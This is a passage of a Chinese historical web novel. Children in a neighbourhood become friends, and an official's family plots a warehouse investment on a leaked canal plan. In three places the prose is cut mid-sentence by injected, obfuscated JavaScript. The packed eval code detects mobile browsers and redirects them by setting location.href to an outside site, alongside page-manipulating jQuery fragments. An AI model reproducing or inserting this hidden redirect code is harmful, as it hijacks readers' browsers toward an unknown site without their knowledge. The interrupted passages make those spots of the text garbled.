蒋娇娇闻言，一脸恍然地道：“难怪我看谢夫子今天总是龇牙咧嘴的，原来是屁股疼！” 谢暎愣了下，然后一个没忍住，突地弯起了唇角，他连忙又低头抿住，饶是如此，笑意也已不由他自控地抵达了眉眼。 他不禁窘地红了耳尖。 然而蒋娇娇看见他笑了，便也忍不住跟着笑，但她却没什么忌讳，呵呵笑得开心。 蒋黎也是忍俊不禁，但她好歹顾着谢夫子的面子，于是佯作正经地对侄女说道：“谢夫子既不想咱们知道，那你就当作不知道。” 蒋娇娇没接话，只对谢暎道：“那我送你吧！” 谢暎有些意外，下意识抬眸去看蒋黎，见对方含笑没有什么反对的意思，才轻轻点了头。 蒋娇娇很高兴，说道：“等你来和大哥哥作学伴我们就能经常一起玩儿了，谢夫子不喜欢我们去他家里，但是以后你可以经常出来！” 谢暎愣了一下。 蒋黎见状，笑着解释道：“等你回去应该就能听到你叔祖说了，是娇娇她爹爹和你叔祖约好的，以后你和修哥也能作个伴，带着他上进一些。” 谢暎即道：“蒋姑姑言重了，善之兄胜过我许多。” 蒋黎笑笑，也不讳言，直接地道：“他嘛，是小时候身体不好，手脚约束多了，却不想反倒把性子给养狂了，现下身子好转后便有些闹腾，你虽年纪比他略小些，但这方面却可以好好带带他。” 谢暎不知该怎么接这个话。 但蒋黎也并不是想考他的处世应对，一番话说得真心实意：“少时玩伴，希望你们是一辈子的缘分。” 谢暎仰着头定定看着她，不知是愣住了还是什么，良久没有说话。 蒋娇娇却不乐意了，在他旁边抗议道：“还有我，你不许只和大哥哥玩，我才是你第一个朋友。” 谢暎回过神，转眸朝她看去，心绪起伏间，他尚未来得及整理清楚这份涌动，便鬼使神差地点了下头。 11. 同道 蒋娇娇带着贴身小女使荷心一起去送谢暎。 荷心比蒋娇娇还要小上半岁，方六岁出头的小女娃，力活上其实压根儿做不了多少，纯粹就是家里长辈给她准备的“心腹玩伴”。小小的主仆两个也确实合得来，荷心有些一根筋，心眼也不多，蒋娇娇说什么她就是什么。譬如此时，蒋娇娇原本说是送谢暎出门，可实际上出了蒋家大门后她还是一副若无其事的样子跟着他在往谢家的方向走，荷心抬头看了眼日头，虽觉得可能要耽误自家姑娘的饭时，但也不提醒，只老老实实地跟着。 谢暎却觉得有些不自在了，眼见着那棵大榕树已在近前，他不得不停下脚步，转头对蒋娇娇道：“不用再送了，你先回去吧。” 蒋娇娇磨蹭了几息，犹豫着道：“谢暎，我想问你一个问题。” 谢暎点了点头。 蒋娇娇便问道：“你爹爹有几个媳妇啊？” 谢暎微怔，待明白过来她的意思后，回道：“我爹爹只有我娘亲一个。” “啊……”蒋娇娇看着他，好似恍然，又好似讶然。 谢暎不知她问这个做什么，但见她得到答案后便是兀自一副若有所思的样子，便想她大约有些心事，于是也不催促，静静陪她站着。 过了片刻蒋娇娇才回过神，复又看向他，意味不明地道：“可是我爹爹有康少母，她还给我生了不是我娘亲生的弟弟。”又似有些迷茫地道，“我外翁、外舅，还有姚大丈和沈大丈他们也都不止一个媳妇。” 谢暎沉默着。 其实他并不明白蒋娇娇想问什么，也不清楚自己应该怎么作答，实际上他连这算不算是一个问题都不太清楚。 但他却敏锐地察觉到了蒋娇娇的心情不好。 他听得出，也看得出，她不喜欢这样。 于是他想了想，说道：“那你就不要学他们。” 蒋娇娇愣了愣。 谢暎被她这么目不转睛地望着，其实有些不大自在，但还是耐心地说道：“别人的事我们管不了；别人怎么对我们，我们也没法左右。”他说，“但我自己觉得，我们可以不去变成我们不喜欢的样子。” 这是他这两年多来最为深刻的体会。 父母还在世时，这些道理大约尚还没能找到机会教给他，而他也体会不到。直到他们走后，他经历了那么多人情辗转，才明白什么是无能为力，什么又是尽己所能。 但他的经历也不过如此了，他只能告诉她这么多，倘她再有别的疑惑，他或许也不知该如何是好。 然而蒋娇娇定定看了他半晌，忽然点了下头。 “嗯，你说得对。”她说，“我不学他们。” 谢暎不由暗舒了口气。 蒋娇娇忽又道：“你也别学他们。” 谢暎还没反应过来她说的“学他们”是学什么，便已下意识点了点头。 点完他才觉得自己好像答应她太快了，不禁对自己的不谨慎微感懊恼。 “暎哥儿！”不远处突然传来了一个熟悉的声音。 两人循声转头看去，下一刻，就见谢夫子皱着眉头快步走了过来。 谢暎猛然想起什么，忙低了头，歉意地道：“叔祖，我回来了。” 谢夫子此时正揣着一肚子的气，也没去管旁边的蒋娇娇，冲着自己的侄孙便是劈头一通训斥：“你个小娃胆子真是肥得没边了，人生地不熟竟也敢一个人往街上跑？！这么久不回来我都准备去报官了，你倒好，还在这里挺悠哉！” 谢暎垂眸噤声，一副甘愿受训的样子，并不辩驳。 谢夫子很想叹气。 他从蒋家回来便是先打算把读书的事和这小子说一下的，结果进门就看见了谢暎留在书桌上的条子，说是去街上的香药铺子一趟很快就回来。 当时他虽诧异于这孩子的大胆，但因想着最近的香药铺子也不远，所以也就暂未起急，谁知又等了好一会儿也没见人回来，他顿时就坐不住了。这么近的地方也能走丢，这孩子只怕不是傻的就是个当真倒霉催的遇见了歹人，于是他拿着谢暎留的条子急急出了门打算去报官，谁知刚出来不远就瞧见两孩子正站在这里唠嗑。 谢夫子霎时松了口气，又立马提了口气，被眼前这乐不思蜀的场景刺激得只想将两人各打五十大板。 但蒋娇娇他打不得，于是只没好气地说了句：“快午时了大姑娘还不回去吃饭，今日的功课可还能做得完？” 蒋娇娇却显得很是乖巧地冲他行了个礼，说道：“夫子好，我送谢暎出门，这就要回家吃饭了。” 谢夫子见她态度还挺恭正，便抬了抬下巴，微微颔首着“嗯”了一声。 蒋娇娇转身时看了眼谢暎，往回走出几步后又停住，回头朝谢夫子扬声说了句：“夫子别生气，谢暎是去给你买治屁股疼的药咧！” 说完她就一把拉着荷心，脚下抹油似地飞快溜了。 谢夫子看着她的背影：“……” 然后他反应过来，倏地转头朝谢暎瞪眼看去。 后者一愣，涨红着脸忙摇了摇头。 谢夫子瞧着他这副不知所措的模样，既气恼，又禁不住觉得有点儿欣慰，目光落在他手上的药包，眼中不觉又柔和了许多。 “算了，只当你翁翁舍不得揍你。”他口中没甚好气地说着，手上已将药包接了过来提着，然后道，“以后不许再这样自作主张，你那几个小钱自己留着买些零嘴吃就是，旁的用不着你操心。还有，你往后与他们读书交游，只许学好的，不许跟着闹腾。”又朝蒋家方向看了眼，重重道，“尤其是同那蒋娇娇！” 谢暎似有些没能回过神地望着他，没有说话。 但谢夫子似也没打算等他承诺什么，说完便又是呵呵一笑，随手往他背上一拍：“走了，回家吃饭。” 谢暎还没明白他在笑什么，就险些被拍了个趔趄，站稳后方反应过来，看了眼谢夫子那仍略显步履有些不顺的背影，即追上两步，伸手扶住了他。 谢夫子侧眸看了他一眼，胡子微微翘了翘，又不动声色地收回了目光。 *** 午间的白樊楼里，亦是一如往常地人声鼎沸。 一楼的敞厅里，伎人正在唱着鼓子词，清亮的声音时高时低地穿过桥栏珠帘，绕梁而入，引得楼上酒阁子里的食客们也不由侧耳。 蒋世泽伸手提壶，亲自给坐在面前的人再斟了杯酒，听得对方手指轻敲桌面，微赞道：“今日这曲唱得不错。” 蒋世泽隔帘朝楼下随意看了一眼，亦笑道：“能得伯敬兄评一声‘不错’，我看乔老板正该多加些赏钱才是。” 此时与他同席对饮的不是别人，正是与蒋家同为一巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529267|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邻里的沈家家主，昨日休沐归家的沈庆宗。 沈庆宗笑了笑，谦道：“我不过区区一县主簿，哪里能及乔老板的见闻。”又略顿了顿，抬眸四顾了一圈，感叹道，“这白樊楼也不是任谁都能经营成这般的。” 汴京城里只共有七十二家正店，而位于东华门外景明坊的白樊楼是其中规模最大，也是生意最为兴隆的一家。再看这东、南、西、北、中五座三层楼宇和其间相连的飞桥，还有楼内这奢丽的一尽陈设，明眼人谁都能看得出来，这不是寻常的富商能办到的事。 白樊楼面上是姓乔，但背后姓什么，又或者还有多少个姓，却是旁人不可知的。 两人对视一眼，又心照不宣地笑了笑，举杯隔空相敬。 沈庆宗饮罢，方续道：“昨日耀宗与我商量，说这两年多得蒋兄照顾，纸墨店里的生意做得还不错，或许是时候再投些其它买卖。” 蒋世泽也没急着谦虚，静等着听下去。 果然，下一刻便听得沈庆宗又道：“不过他又觉得那些术业有专攻之事做来恐不好入手，思来想去，还是打算做些只管钱进钱出的。” 蒋世泽眸光微转，回以含笑道：“那自然是好，不过这些做来风险也大。我自那年险些将全副身家都送在那海贸上之后，便也胆小了不少。”又颇感慨地道，“若不是担心影响伯敬兄你的前程，我那解质的买卖倒是可以让仲德加一股，虽也不成什么气候，但总比外面那不知底细的强些。” 沈庆宗也面露愧疚地点了点头：“倒是我拖累了家里。” 蒋世泽正要宽慰两句，却又忽听对方续道：“所以我也犹豫着，要不要告诉仲德昨日县里收到风声，朝廷打算要新修一条通往颍昌府的运河，要经从鹤丘县过。” 蒋世泽蓦地一愣。 沈庆宗向他看了一眼，说道：“我虽想着此时或许是个不错的时机，但又担心因我之故令仲德做了错误决定，反又累了全家。” 听话听音，蒋世泽立刻便明白了对方的意思。 朝廷要新修运河，这意味着什么？是新的商机啊！现下三条运河所在的京城沿岸，连带各畿县，早就没了他们这些人可入手之地，哪个背后不是那有人脉、有背景的大商、权贵先先已下手为强了？ 这回若不是正好选址要经过鹤丘县，只怕这消息也根本轮不着落到沈庆宗这个区区一县主簿的耳中。 但蒋世泽还是觉得有些不可思议，于是小心地问道：“这消息可靠么？” 沈庆宗朝帘外看了眼，然后倾身微前，压低了些声音，说道：“胡县令的妻家庶妹是吏房一个录事的弟妾。” 蒋世泽恍然大悟。 “那不如这样吧，”两息之后，他便果断地开了口，“伯敬兄代我问一问仲德，若是不介意，咱们便来合个伙做停塌买卖。这钱本么我出六成，以后分利按作五五。” 沈庆宗推辞道：“岂能让蒋兄亏本。” 蒋世泽便说服道：“这哪里能是亏本的生意，伯敬兄大可放心，此事若成那定是双赢的。至于这五五之分你也不要再说什么婉拒的话了，咱们的关系岂能与外人相比？”又含着笑，颇有意味地道，“再说，这鹤丘那边的事毕竟还是伯敬兄你关心的多些。” 沈庆宗忖了几息，这才委婉地道：“这些事非我所长，等我回头与仲德说说吧。” 12. 高低 沈庆宗从白樊楼出来之后，便又带着买好的桂花酒去了位于武学巷的余宅——这是他那位在礼房为官的老师的住处。 这也是他在汴京城里能去到的最高处的地方了。 余家不大，门口也不过堪堪只容得下两人并肩而入，家仆不多时便通报了回来，沈庆宗于是熟门熟路地径直去了前厅，很快就见到了他那位在礼房任职录事的老师。 余录事似是刚从书室过来，右手指侧还沾着隐约的墨痕，见到沈庆宗，他便笑着招呼道：“伯敬可是知道我正馋这酒，所以特上门来解救的？” 沈庆宗恭笑道：“我是来和老师一起解馋的。” 余录事哈哈笑着，摸了摸颔下花白的胡子，又道：“早同你说过嘴上要小心，今日却又不曾把门。” 中榜士人皆天子门生，官员间不可私相以师生相称。这一点就算余录事不提醒，沈庆宗亦自当是知道的，但他也深知，不是人人都那般恪守禁令，所以他自然也不应当那么“规矩”。 于是他仍是一如往常地笑道：“自家门内没有外人，就请老师容我随心些吧。” 余录事的心情明显很好，但还是说道：“君子慎独。” 沈庆宗口中应是。 师生两个便入座饮茶，叙起了话。 沈庆宗斟酌着将朝廷将要新修运河的消息给说了，然后观察着对方的神色。 余录事却是根本未曾收到这个风，闻言不免感到诧异，说道：“此事想必是官家还未正式下谕。” 否则就算礼、吏二房间隔着关系，他也不过只是个录事，但朝堂上的消息也不可能半点没有耳闻。 可话说回来，倘若真都到了人人皆知的地步，这消息于他们而言也就称不上有什么价值了。 余录事觉得自己在这件事上显得有点“无用”，但在学生面前却又不太想将这份“无用”显现出来，于是旁的也没有多说什么，只道：“你若是有什么打算，那我回头也帮你多注意着吏房那边些，朝上有什么消息出来便告诉你。” 沈庆宗等的便是他这句话，虽也心知余录事未必能顶什么大用，但终归是比他们都有用些的，于是接过话便即时道：“老师也知道，我们是不可与那商民争利的，我自己倒没有什么，但我二弟身上却还担着一大家子的重担，我之力微薄，能帮他的不多。”又略顿了顿，续道，“不过，他倒是能找到有钱本的朋友合作，只是人家也有自己的想法，所以说好了对方占七成，我二弟占三成。” “可是我想着，老师这边才是出着大力，若没有您，他们也不过是两眼抓瞎。”他说，“所以也同我二弟说好了，老师您若有亲友也愿意入股，便只需出一成钱本，往后分利取三分之二，如何？” 余录事在官场上，当然也懂得“亲友做买卖”的话术是什么意思，沈庆宗这就是在摆明了让他也加入赚一份。 说不心动是不可能的。 即便他不是做买卖这块料，也并不在计省当差，但也能凭肉眼就看得出来：停塌生意的利润太可观了。 可余录事也有自己的顾虑，一是停塌生意虽然回报高，可初期钱本投入也不少，哪怕只是一成，光凭他这个只拿俸禄的人却也多半是有些吃力的；二，则是沈庆宗许诺的分利，让他多少觉得有些受之有愧。 “这个买卖应是可以做，不过这二成利就算了。”他犹豫之后说道，“你虽待我如师，但这做买卖的事却不是如你今日随手送酒可比，此利我不欲多占，你也不必以此为负担。” 沈庆宗便又劝了两句，然后在余录事坚定的表态下，这才语气无奈地应了是。 他在余家宅子里待到申时将末方离开，出门上车后便打算直接去铺子里找二弟沈耀宗，然而马车才驶出巷子不远，却又缓缓停了下来。 “老爷，”从人的声音自车外传来，“前路有车过来，我们先往旁边避一避。” 沈庆宗并未太在意，“贱避贵，少避长，轻避重，去避来”本是常事，底下人即便不明说为何相让，他也早就习惯了这样的行路规则，并不会去深究。 但今日却有些凑巧，就在自家马车正要往旁边小路上让开时，沈庆宗却忽然听到外头有人在喊“陶判官请慢行”，他不由微顿，忍不住抬手将车窗轻推开一条缝，将目光探了出去。 只见斜对面不远处停驻着一辆平顶马车，角檐下挂着两枚鎏金雕花的香囊，此时正有一士人打扮的中年男子站在车檐下，隔帘向着里面的人在说着什么，眉宇神色间极是热情客气。 从沈庆宗的视角看去便只能看到这么多了，若想要看清那辆车里坐的人是什么模样，他就须得把车窗全部打开，但这样一来，对面的人也就很容易看见他。 他大约已经猜到了那车里的人是谁，所以他并不想露脸。 陶宜，陶若谷。 与他同榜的进士，只不同的是人家在一甲第三，乃是年轻有为的探花郎，而他沈庆宗却排在一百三十六名，只堪堪挂在一甲榜的尾巴上。 枉他自负少年天才，十九岁中举，当时母亲也对他寄予厚望，可之后却直到三十五岁才终得进士及第，然后又亲眼看到另一个方二十出头的天才出世，受尽所有瞩目。 再之后，便是他用尽心思求得与余录事接近，好不容易才得了个京都畿县鹤丘县主簿的位置，而这已是比许多人都要好的去处了。 可陶若谷，却轻易地便一脚踏入三司计省，做了度支判官。 不同人，也不同命。他没什么可多说的。但却也不得不承认，陶若谷的存在令他倍感挫败。 即便对方可能根本就不知道他是谁。 但也已经足够难堪了。 沈庆宗原本不错的心情顿时于瞬间跌到了谷底，他也没了什么心思，转而对随从吩咐道：“直接回照金巷吧，找个人去通知二爷。” *** 沈庆宗到家的时候，儿女已经都下学回来了，包括长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529268|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子沈缙，今日也恰好放了旬假。 他没先去换衣服，直接去了前院的书斋。 刚走到窗外，他就听到从里面传来了个略显稚气，却又带着些与这稚气并不相符的沉稳的声音说道：“爹爹十九岁就中举了，大哥哥你明年下场也不算早。” 是次子沈约。 随后里面又传来了一个带着些许讶然之意的少年声笑着道：“你倒是口气大，就对我这般有信心，觉得我下场便能考中？我自己都不敢这么想。” 沈庆宗皱了皱眉，一脚踏进门去，口中道：“没出息。” 他冷不丁地出现，又突然沉着声斥了这么一句，两个孩子不由猝不及防地愣住。 沈缙旋即涨红着脸，低头喊了声“爹”。 沈约也从座位上站起，端端正正地礼唤道：“爹爹。” 沈庆宗朝次子微点了下头，然后看向长子，肃然道：“少年志气最是难得之时，谦逊虽是应当，但若连那么点敢与人争锋的念头都没有，将来又凭什么青出于蓝？” 沈缙被他训得面红耳赤，惭愧地道：“孩儿知错。” “你是我沈氏长子，上承乃父，原是该给你弟弟们做榜样的。”沈庆宗道，“今后说话前先过一过脑子。” 沈缙低着头不敢言语。 沈约看了眼兄长，对父亲说道：“爹爹，大哥哥很厉害，他这次写的文章还被先生称赞了，说让他明年便下场试试。” 沈庆宗闻言，心情略有舒缓，点点头道：“待会拿来给我看看。” 恰此时，底下人正好来报说二老爷回来了，沈庆宗便暂时放下了书斋这边的事，转而去了院中。 他的二弟沈耀宗正站在廊下等着。 “大哥哥。”沈耀宗看见他，笑着唤道。 沈庆宗应了声，加快了些脚步朝对方走去，口中道：“你该先去娘那里等我，外头站久了当心受风寒。” “只才站了一会儿，不妨事。”沈耀宗道，“我们一起过去娘才高兴。” 沈庆宗知道他这话里意思一半一半，想兄弟同行是真，不想独自面对母亲却也是真，于是也不点破，只笑着拍了拍弟弟的肩，便并行着往福寿堂走去。 沈老太太正在看孙女插花。 听得下人来禀报说父亲和二叔过来了，沈云如便将手中刚修了一剪的金丝菊顺手插在了文竹间，然后站了起来。 沈庆宗兄弟两个走进门，先朝着坐在上位的母亲抬手施了一礼，异口同声唤道：“娘。” 沈老太太浅浅应了一声：“嗯。” 沈云如亦朝他们两人礼道：“爹爹，二叔。” 沈庆宗眉目温和地点了点头，沈耀宗则笑着道：“掌珠这是在插花？不错，好看。” 沈云如还未来得及回应，便听到身后传来了她祖母淡淡的声音说道：“你是在外面浸淫久了，连花插得好不好都看不出来了？那朵金丝菊分明长短修得不够，位置也错了。” 13. 争先 沈云如的脸有些发烫。 她不是不知道刚才自己下手的时候有些草率，也晓得祖母指出不足向来是这样直来直往，都是为了她能做得更好。但当着父亲和叔父的面，她还是感到有些难堪。 而祖母话中对二叔的薄讽也让她听来有些尴尬。 果然，下一刻她便听到二叔讪讪笑道：“掌珠还小，能有这份造诣已是娘您教导有方了。” 沈老太太看了他一眼，面上瞧不出喜怒。 沈庆宗也不动声色地转开了话题：“娘，我和二郎有件事要同您商量。”然后对女儿道，“掌珠，你先下去吧。” 沈云如心下微松，端端应了声是。 待屏退了左右，沈庆宗才将朝廷要新修运河的消息说了，并道：“原先二郎就瞧着那停塌买卖可做，只是寻常难得商机，也需得不少钱本。现下蒋老板有心合伙，并许了出六分五，我那礼房为官的老师也愿意参入。”他说到这儿，微顿了顿，方续道，“我和二郎来时路上大致议了议，觉得此事可为。” 沈耀宗附和着点了点头。 “出六分五？”沈老太太微感诧异，狐疑道，“那蒋家商贾之性，当真肯吃这样的亏？” 沈耀宗笑着解释道：“娘，这也算不得多么吃亏，不过是收回本钱的时间略拉长了些罢了。但停塌生意收入可观，投入也只是前期建房时大些，即便起初少赚了点也无妨，人家蒋老弟又不傻，算算账就知道这样既能卖咱家的好，又可图更远了。” 沈老太太瞥了他一眼：“你见识多的确实不同。” 沈耀宗不防又碰了灰，尴尬地抿了抿唇角，没有言语。 沈庆宗知道母亲的性子，于是并不多辩什么，只道：“若不是这回我们家占了些消息的先机，恐怕那沿岸又要早早被宫里和贵人们给拿了。” 沈老太太默然未语。 片刻后，她才似是关心地问了句：“这事做来可有风险？” 沈庆宗就把自己找余录事合作时的想法大致说了一遍，又道：“这样老师也会尽力。” 至于自己提出如何分成的过程他却没有细说，只道余录事钱本有限，所以只打算出一成。 沈老太太并不太懂这些，也不喜欢在这些铜臭之事上费心思，见两个儿子都这样说，便也只点了点头，允道：“那你们自己看着办吧。” 沈耀宗却有些犹豫要不要向母亲交代一下这买卖的钱本也不少，自家少不得要动一动现有的产业，这不是小事，按理是该让母亲心里有个数。但又见兄长似乎并没有直说的意思，他不免就有些迟疑。 沈耀宗正自斟酌间，却又忽闻母亲话锋一转，说道：“上次给你看的那几个人可看好了？” 果然该来的躲不过。沈耀宗于心中默叹了一口气，微顿，然后恭回道：“娘，现下家里正要做大事呢，我实没有那个闲暇。再说我瞧着那几个人也不是很合眼，勉强纳来我还得养着，实没有那个必要。” 沈老太太听他这么一说，立刻就有些压不住火气了。 “我又不是昨日才给你看的人，你早没有闲暇，晚没有闲暇，难不成要到七老八十了才有闲暇？”她蹙眉冷道，“不过就是纳个妾，也值得你们夫妻两个推三阻四。人都没见到就说不合眼，只凭那帖子上写的几句出身和性情，你就晓得人家长什么样子了？” 见次子又是一脸低头认真听训的模样，想到其实则阳奉阴违的做派，沈老太太不免越说越上火：“再说我让你纳妾难道是让你沉迷女色的？你那媳妇若当真容不得旁人，就该想办法早早给你诞下个子嗣才是，而不是在这里拈酸吃醋！” 沈耀宗不敢顶嘴，但也并不想纳妾，于是只能默默听着训。 沈庆宗等到母亲一番话落了毕，方委婉地劝道：“娘，虽说纳妾是为了绵延子嗣，但也得要二郎看得上眼才行，不然朝夕相处也着实难受。这样吧，等这件事忙过了，我再押着他好生瞧瞧。” 沈老太太闻言，心火稍顺，当下也懒得再多说此事，于是丢开了话头转而对长子道：“外头那些杂事虽需你帮衬着，但心思还是要更多放在正事上。” 沈庆宗恭顺地颔首应是，然后又照例征询地问道：“娘，晚饭我们陪您用吧？” 沈老太太也一如既往地回道：“不用了，你们自去随意吧。” 她这两年养生开始讲究少吃多餐、入夜不食，自知和家里人习惯有别，所以也不想彼此勉强。 沈氏兄弟两个便恭敬地告了辞。 从福寿堂出来后沈耀宗便长松了一口气。 “大哥哥，谢你先前出言相救，不如晚上我请你去白樊楼喝酒？”他诚恳地对兄长说道。 沈庆宗笑了笑，说道：“你我兄弟，不讲这些。”说罢，却又话锋一转，续道，“不过我虽帮你兜了话，但娘说的那些我心里却是赞成的。你也不小了，子嗣教养非小事，总不能等到你已垂垂老矣还要忧心身后。” 沈耀宗不想纠缠这个话题，索性告饶道：“好哥哥，你就暂且先放我一马吧，我又不是明日就七老八十，等再过两年说这些也不迟。”说完也不等对方再啰嗦，便立马转开了话题，“那我先走了，回头理完账目便去找你。” 沈庆宗颔首道：“此事需快，否则难免落于人后。” 这种机会若错过了，便几乎不可能再有下一次。若不是他们正好有蒋家这么个近邻，只怕短时间内要找到有一定钱本实力的合作伙伴也不容易。 沈耀宗也知道事情的重要性，于是郑重地应下，转身去了。 *** 翌日早晨，谢暎跟着谢夫子从家里出来，看见了正在蒋家门前等着他们的蒋修。 “谢夫子，早上好。”蒋修端端正正地朝对方叉手一礼，客气地说道，“爹爹让我陪元郎一起去学里。” 说完，他还悄悄冲谢暎扬了扬眉毛。 谢暎因之前已从自己叔祖那里听说了这事，所以此时也不觉意外，只表示感谢地向蒋修回以了微微礼笑，然后对谢夫子说道：“叔祖，您就不必送了，我和善之兄一起去就是，您在家里多歇息。” 蒋世泽自不可能只让八岁的儿子带着谢暎去入学，所以还派了个管事跟在蒋修身边。 谢夫子见状便也就点了点头，又叮嘱谢暎道：“你在学里若有什么不惯或者不知该如何办的，就多问问修哥。” 谢暎恭声应是。 谢夫子又对蒋修道：“劳你多照顾着他些。” 蒋修保证道：“夫子放心，以后元郎就由我们照管着了。” 谢夫子觉得这话听起来怪怪的，怎么好像有种自己把孩子送给了蒋家的错觉？不过他也拿不准蒋家这小娃子是不是在故意挤兑自己， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529269|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便只佯作无事地点了点头，居高临下地含笑“嗯”了一声，然后挺直背脊转而进了蒋家大门。 眼见着谢家老头的背影远了，蒋修瞬时一松先前端庄的架势，高兴地拽了下谢暎，冲他笑道：“走，我给你看样东西。” 谢暎随他上了马车，刚坐下来，就见蒋修拿出来了个小巧精美的漆木罐子。 车马缓缓行进，蒋修揭开盖子，现出了装在罐子里的一只指头大小的蛐蛐儿。 “你看它头上有圈红色，”蒋修小心地指给谢暎看，口中道，“所以我叫它血将军，望它上场披荆斩棘、战无不胜。” 谢暎默默看了他一眼，心想那这个名字怕是不太吉利。 他顿了顿，问道：“你是要拿去与人斗的？” “啊，”蒋修一边恋恋不舍地将罐子重新收起，一边随口回道，“同那个能把牛吹死的袁四郎。” 谢暎想起了蒋娇娇，忽然觉得这兄妹两个在这方面似乎有点像。 他正想着，便又听得蒋修说道：“你别告诉蒋娇娇啊，不然她肯定要闹着玩，回头累着我的血将军。” 谢暎觉得自己倒是能保密，但却又深觉承诺一事责任重大，所以秉着谨慎的原则，他还是委婉地提醒了一句：“但你们两人相斗，到时应不止一人知晓。” 蒋修这才后知后觉地反应过来。 “哦，对，也是。”他顿时觉得麻烦起来，索性道，“那算了，不理她就是。” 说到蒋娇娇，谢暎就又想起了昨日她闷闷不乐的模样。 “你妹妹可还好么？”他尽量用一种寒暄的语气问道。 蒋修虽然没太明白才过了一天有什么可问好的，但也并未太当回事，如常回道：“谢你关心了，她成日里都好得很。” 谢暎点点头，没再多言。 蒋修却突然想到什么，说道：“不过我怀疑她是不是又背着我听了什么话本子，昨日里跑来神叨叨地同我说让我以后只准娶一个媳妇，简直有毛病。” 谢暎顿了顿，说道：“可能她只是好心。” “谁知道她一天天脑袋瓜子里想什么。”蒋修不耐烦地道，“我看她就是惯爱想一出是一出地窝里横。” 窝里？谢暎回想起当时蒋娇娇一脸正色叮嘱自己的模样，不由略感茫然。 蒋修又“嗤”了一声，颇不以为然地道：“你看蒋娇娇那样就知道女孩儿有多麻烦，我以后才不想娶媳妇儿，我劝你也别娶。” 谢暎：“……”你们兄妹两个是真得很像。 学堂很快就到了。 大盛蒙学兴盛，至少每三巷便有一所，有些人口更密集些的地方甚至会达到每一里巷便有一二所，即便是在偏远乡下也有私学办设。 而谢暎将要入读的这间广明京学则属于官学，其间学生基本是来自照金、东榆林和甜水三巷。 入了学堂，他便跟着蒋家的管事先一道去拜见了教谕，大约是因有蒋家这边已先打理好了的缘故，谢暎就学的事安排得很顺利。随后教谕又考了他几道题目，末了，很快便决定将他分到了“义渊斋”，说是和同巷的沈家二郎还有姚家二郎正好都在一处。 蒋修在外头等着他，见到人出来便立马迎了上去，还未开口，那蒋家的管事已委婉地笑道：“谢元郎被分到了义渊斋。” 蒋修：“……” 14. 逞强 谢暎知道学堂里分斋一般是按照年纪，但偶尔也有年纪小却已超出同级学识的，所以这些学生就都会被分到一起以便教学。他也已猜到了蒋修不在义渊斋，此刻不免觉得有几分尴尬，于是硬着头皮正想开口劝慰两句，却见蒋修伸手过来拍了拍自己的肩。 “我原以为沈二郎已经很厉害了，没想到你也不差。”蒋修一脸安慰地道，“不错，谢元郎，你很给我长脸。” 谢暎：“……” 蒋修就又积极地亲自带着他去了就在不远处的义渊斋，走到窗前张望着寻到沈约的背影，当下便喊道：“沈二郎，我给你带新同窗来了！” 不止沈约，义渊斋里其他学生也纷纷循声转了头看来。 谢暎原本还觉得有些拘谨，然而被蒋修这么猝不及防“洒脱”地一喊，他顿时也有了种释然的感觉。 总要来的。他迎着那些或诧异或好奇的目光，心想，这样也好。 姚二郎也在，跟着沈约身后也走了过来，颇讶然地瞧着谢暎，问道：“你分到我们斋里了？” 这比起谢暎并没有如其所说那样年后才来上学，还要让他意外。 谢暎轻点了下头，向他们两人见礼：“姚二哥、子信兄。” 沈约也客气地颔首回了一礼：“谢元郎。” 蒋修没他们那么多客套，直言调侃地道：“沈二郎，瞧见没？咱们巷里现下可不止独你一人专美了。” 谢暎不想尴尬，便及时接了话，对沈约礼道：“以后还要多麻烦子信兄了。” 沈约知蒋修那喜玩乐又好胜的性子，自不会将那句话看得多重，于是只对谢暎点了点头，然后反应平平地对蒋修说道：“你要是也能分过来，下回就不用只在窗外面喊我们了。” 蒋修笑道：“那不如你别升学不就好了，以后我们两个再一起去府学里头隔着窗喊暎哥。” 沈约漠然地转开了目光。 姚二郎凑热闹道：“再加一个我，你们也来喊我。” 蒋修爽快道：“没问题！” 沈约觉得与他们两个实在话不投机半句多，于是转而招呼谢暎：“我带你去找位置。” 谢暎点头，对蒋修道：“你也快些回去吧，时候不早了。” 蒋修本就是专门过来调侃沈约两句，此时说完了闲话也不欲独留在这里吹冷风，于是应了声，又对三个小伙伴叮嘱道：“下了学你们别急着走啊，看我与袁四郎大战三百回合。”然后瞧向沈约，“尤其是你，早晨比我勤勉不肯同路就算了，今日下学等着。” 沈约蹙眉，说他：“你莫要惹事。” “我那叫切磋。”蒋修不以为然地说完便走了。 沈约和姚二郎就带着谢暎去与斋里的同窗们介绍认识。 